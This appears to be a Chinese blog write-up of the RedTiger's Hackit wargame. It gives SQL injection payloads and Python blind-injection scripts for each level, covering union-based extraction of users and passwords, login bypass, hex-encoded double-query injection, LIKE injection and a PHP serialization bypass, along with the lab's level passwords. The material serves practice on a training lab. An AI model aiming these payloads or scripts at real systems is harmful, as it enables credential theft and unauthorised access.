朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

RedTiger's Hackit

in 安全研究,SQL read (706) 989汉字 站长Lucifaer 文章转载请注明来源!

一个国外的挑战赛,有兴趣的可以玩一下。

level 1

poc:

https://sredtiger.labs.overthewire.org/level1.php?cat=-1 union select 1,2,(select username from level1_users),(select password from level1_users)--+

level 2

poc:

post:

username=admin' or '1'='1&password=admin' or '1'='1&login=Login

level 3

传入数组,通过PHP的报错来得到源码/var/www/hackit/urlcrypt.inc

在源文件中获得加密方式,之后测试就好了。

poc:

https://redtiger.labs.overthewire.org/level3.php?usr=MDcwMjE0MDA3MTc4MTM5MjMxMjE2MDI0MjE1MTExMTgwMTQ3MDcxMjM5MDEyMDAwMTc5MDA0MjU0MDMwMDQ1MjE4MjQzMTk3MDcyMjMzMTMwMjAwMTY5MTAwMTk4MTQ5MTA0MTI1MTc5MTQ2MTMwMTg2MTA5MDMzMTYyMTQ2MDMyMTUxMTY5MjI0MDA2MjE3MDc3MTQ3MDU0MDkyMTQzMTI4MDc3MDM0MjI3MTM2MDYzMDM3MDcwMTQxMDUyMDA3MTExMTI3MTA3MjAxMTMwMDEzMTM4MjAzMDc5MDUxMjIwMTUxMTExMTE4MTU5MDA3MDgzMjIxMDU2MTQ5MTkzMDk1MDk5MTcyMTI0MjMwMTc5MDIwMjQwMTI2MjEyMTQyMDY4MjA2MDI2MTExMTcxMDA2MTY2MDk5MTM4MjI1MTQwMTk1MjQ3MTI4MTg5MjAxMDQ0MDY2MTk3MDU4MjUwMTM0MjUwMTU5MjUxMDQ0MDgyMTA1MDIwMTE4MTkwMjEyMjI2MDY0MTkwMjUxMjM2MjA0MTk5MDM2MDc2MTUzMjE1MTMzMDMzMTcwMDI1MjQxMjA0MDUxMTMyMTY0MDMyMDI4MTcz

level 4

这是一个bool型盲注。

首先判断出keyword的长度:

http://redtiger.labs.overthewire.org/level4.php?id=-1 union select 1,keyword from level4_secret where length(keyword)=21--+

接下来就是二分法遍历来爆破了。

写个脚本跑一下就好:

import requests as rq

url = "http://redtiger.labs.overthewire.org/level4.php"
cookies = {
    "level2login": "4_is_not_random",
    "level3login": "feed_your_cat_before_your_cat_feeds_you",
    "level4login": "there_is_no_bug"
}
payload = {'id': '1'}
url = rq.get(url, cookies=cookies, params=payload)
i = 1
keyword = []
print(url.url)
while i <= 21:
    for j in range(33, 127):
        poc = url.url+' and ascii(substr((select keyword from level4_secret),'+str(i)+',1))='+str(j)+'--+'
        target = rq.get(poc, cookies=cookies)
        if "Query returned 1 rows." in target.text:
            print(str(i)+":"+chr(j))
            keyword.append(chr(j))
            break
    i += 1
print(keyword)

level 5

这个一个登陆绕过,根据提示,让我们看登陆失败的信息。首先可以测出有两个字段,尝试

username=-1' union select 1,2#&password=0&login=Login

发现登陆失败,根据提示,密码是用MD5来进行hash的,估计是后台对长度进行了判断,所以可以改变输入:

username=-1' union select 1,md5(1)#&password=1&login=Login

level 6

这题有蛮多总结的,首先就是对于双注入的判断。先点一下Click me,看到url:

http://redtiger.labs.overthewire.org/level6.php?user=1

之后发现没有单引号包裹,而且也没有过滤什么东西。看一下字段发现只有5个字段,蛮正常和简单的注入。

接下来在查询字段回显时,并没有明显的回显。在填充字符时发现报错:

进行十六进制编码表示方式就没有报错了,但是会显示没有用户。那么这边就可能存在双查询注入。

经过测试,发现第二个字段替换为相应内容后,会回显正确页面:

那么就猜测使用第二列的数据又做了一次查询,尝试一下语句:

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,0x282720756e696f6e2073656c65637420312c322c332c342c352329,3,4,5#

其中的十六进制编码内容为:

(' union select 1,2,3,4,5#)

发现过滤了括号。

去掉括号就可以看到:

接下来就是正常的注入了。最后的poc:

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#

十六进制编码部分为:

' union select 1,username,3,password,5 from level6_users where status=1#

level 7

这题学到了新姿势。

提示限制死了,那几个函数都不能用,而且常用的注释也被过滤了。但是在尝试1 and '1'='1的时候,出现了报错:

可以看到是一个LIKE的查询,根据报错来构造:

search=google%' and 1=1 and '%'='

根据题意,就来看一下这个字段的长度:

search=google%' and length(news.autor)=17 and '%'='

长度为17。通过题意和测试,可以看出其除了过滤给出的函数外,还过滤了常用的注释符。

对于过滤了字符串截取函数的话,可以使用left或者locate来进行代替。

用下面的脚本就可以跑出来username:

import requests as rq

url = "https://redtiger.labs.overthewire.org/level7.php"
cookies = {
    "level2login": "4_is_not_random",
    "level3login": "feed_your_cat_before_your_cat_feeds_you",
    "level4login": "there_is_no_bug",
    "level5login": "there_is_a_truck",
    "level6login": "for_more_bugs_update_to_php7",
    "level7login": "keep_in_mind_im_not_blind"
}

dic = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'
flag = ''

for i in range(1, 18):
    for j in dic:
        poc = "google%' and locate('"+j+"',news.autor)="+str(i)+" and '%'='"
        payload = {'search': poc, 'dosearch': 'search!'}
        target = rq.post(url, data=payload, cookies=cookies)
        if 'SAN FRANCISCO' in target.text:
            flag += j
            print(str(i)+":"+str(j))
            break

print(flag)

得到的是:TESURFOG0L,但是输入时错误的。这个题对于大小写不敏感,但是在验证时,却对大小写敏感,所以,利用collate latin1_general_cs来判断字符的大小写。最终的脚本为:

import requests as rq

url = "https://redtiger.labs.overthewire.org/level7.php"
cookies = {
    "level2login": "4_is_not_random",
    "level3login": "feed_your_cat_before_your_cat_feeds_you",
    "level4login": "there_is_no_bug",
    "level5login": "there_is_a_truck",
    "level6login": "for_more_bugs_update_to_php7",
    "level7login": "keep_in_mind_im_not_blind"
}

dic = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'
flag = ''

for i in range(1, 18):
    for j in dic:
        poc = "google%' and locate('"+j+"',news.autor collate latin1_general_cs,"+str(i)+")="+str(i)+" and '%'='"
        payload = {'search': poc, 'dosearch': 'search!'}
        target = rq.post(url, data=payload, cookies=cookies)
        if 'SAN FRANCISCO' in target.text:
            flag += j
            print(str(i)+":"+str(j))
            break

print(flag)

最后的结果

对于非二进制字符串(CHAR, VARCHAR, TEXT),字符串搜索使用的比较操作数的排序规则。对于二进制字符串(BINARY, VARBINARY, BLOB),比较使用中的操作数字节的数字值; 这意味着对于字母字符,比较将区分大小写。
默认的字符集和校对规则是 latin1和 latin1_swedish_ci,所以非二进制字符串比较是区分默认情况下不区分大小写。这意味着如果您使用搜索 col_name LIKE 'a%',您将获得以A或开头的所有列值 a。要使此搜索区分大小写,请确保其中一个操作数具有区分大小写或二进制排序规则。例如,如果要比较具有字符集的列和字符串 latin1,则可以使用 COLLATE运算符使任一操作数具有latin1_general_cs或 latin1_bin排序规则

level 8

EmailNameICQAge中都分别进行了测试,发现在Email中加个单引号会报错:

可以分析出sql语句的大致格式:

email='',name='',icq='',age=''

根据报错来构造:

email='',name=password,icq='',name='',icq='',age=''

在name得到password:19JPYS1jdgvkj

最后结果是:

level 9

经过测试,发现在textarea有注入点。

尝试了几种方式后,发现输入:

\--+

会有正确的输出:

猜测是有括号等进行包裹。

接下来在用:

')

测试的时候,出现的报错:

测试

'),('

发现报错:

接着测出来有三个字段:

'), (1,2,'

接下来就可以进行注入了:

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

level 10

看到POST的数据,很像Base64,解一下:

login=a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}&dologin=Login

一看,懂了,就是一个序列化嘛,直接改一下序列化中的内容:

login=a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}&dologin=Login

ok,完成:

sql
最后由Lucifaer修改于2017-06-01 01:01

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
PREVIOUS NEXT
雷姆
拉姆